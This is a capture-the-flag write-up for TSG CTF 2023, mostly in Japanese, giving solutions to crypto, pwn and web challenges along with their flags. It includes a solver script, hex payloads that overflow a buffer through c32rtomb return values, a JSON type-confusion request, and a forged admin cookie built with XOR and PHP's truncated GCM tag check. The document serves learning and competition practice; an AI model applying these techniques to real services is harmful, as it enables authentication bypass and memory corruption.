# TSG CTF 2023 Writeup ![score.ctf.tsg.ne.jp_teams_727.png](https://hackmd.io/_uploads/ByvV7krmT.png) ## Crypto ### Unique Flag > フラグの内容はユニークにしたほうがいい問題になるって聞きました。 ```python import string def main(): with open('output.txt') as f: for l in f: exec(l, globals()) c_list = {chr(c): pow(c, e, N) for c in string.printable.encode()} def rec(flag, used): x = flag[-1] for y in c_list.keys(): c = c_list[x] * c_list[y] % N if c in clues and y not in used: rec(flag + y, used | {y}) if len(flag) == 33: print(flag) rec('TSGCTF{', set()) if __name__ == '__main__': main() ``` #### Flag `TSGCTF{OK,IsTHi5A_un1qUe-flag?XD}` ## Pwn ### converter > \# -speaking: utf-8 - ```clike utf8_ptr += c32rtomb(utf8_ptr, 0x11111111, &ps); // += 6 ``` `11111111` を入力した時に `c32rtomb` は `6` を返します。 ```clike char utf8_bin[MAX_FLAG_CHARS * 4 + 1]; char flag_buffer[MAX_FLAG_CHARS + 1]; ``` `utf8_ptr += 6` になることを利用して `utf8_bin[MAX_FLAG_CHARS * 4]` を書き換えます。 #### Payload 1. `0001f680` 2. `0001f98a` 3. `11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111110001f6800001f680` #### Flag `TSGCTF{NoEmojiHereThough:cry:}` ### converter2 > Now I'm calling from the Alps. ```dockerfile FROM alpine:3.18.4 ``` converter と環境が異なります。 ```clike utf8_ptr += c32rtomb(utf8_ptr, 0x11111111, &ps); // += -1 ``` `11111111` を入力した時に `c32rtomb` は `-1` を返します。 ```clike char utf32_hexstr[3][MAX_FLAG_CHARS * 8 + 1]; char utf8_bin[MAX_FLAG_CHARS * 4 + 1]; char flag_buffer[MAX_FLAG_CHARS + 1]; ``` `utf8_ptr += -1` になることを利用して `utf32_hexstr[2][MAX_FLAG_CHARS * 8]` を書き換えます。 #### Payload 1. `111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111110000003000000030000000300000003100000046000000390000003800000041` 2. `0001f98a` 3. `0001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f6800001f680` #### Flag `TSGCTF{IdidntknowUTF8isupto6!}` ## Web ### Upside-down cake > 設定が正しいか、413回チェックしました。 ```javascript palindrome = { 0: 'a', 999: 'a', length: '1000' } fetch('/', { method: 'POST', 'headers': {'Content-Type': 'application/json' }, body: JSON.stringify({palindrome}) }) ``` #### Flag `TSGCTF{pilchards_are_gazing_stars_which_are_very_far_away}` ### #DANCE > 管理者パスワードを忘れてしまいました。パスワードを見る方法は管理者としてログインするしかないのに! デッドロックだ! guest でログインして cookie の値 (auth と iv) を取得します。`'admin' xor 'guest' xor auth` をして admin に対する auth の値を求めます。 `openssl_decrypt` のドキュメントを読むと指定した tag が適切な tag の先頭に一致した場合に復号できる可能性があることがわかります。 > The length of the tag is not checked by the function. It is the caller's responsibility to ensure that the length of the tag matches the length of the tag retrieved when openssl_encrypt() has been called. Otherwise the decryption may succeed if the given tag only matches the start of the proper tag. https://www.php.net/manual/en/function.openssl-decrypt.php cookie を書き換えてから mypage.php を開くとフラグを取得することができます。 - auth: F6W6w9U= - iv: z6RgP8vemNYFnZUO - tag: aw= #### Flag `TSGCTF{Deadlock_has_been_broken_with_Authentication_bypass!_Now,_repair_website_to_reject_rewritten_CookiE.}`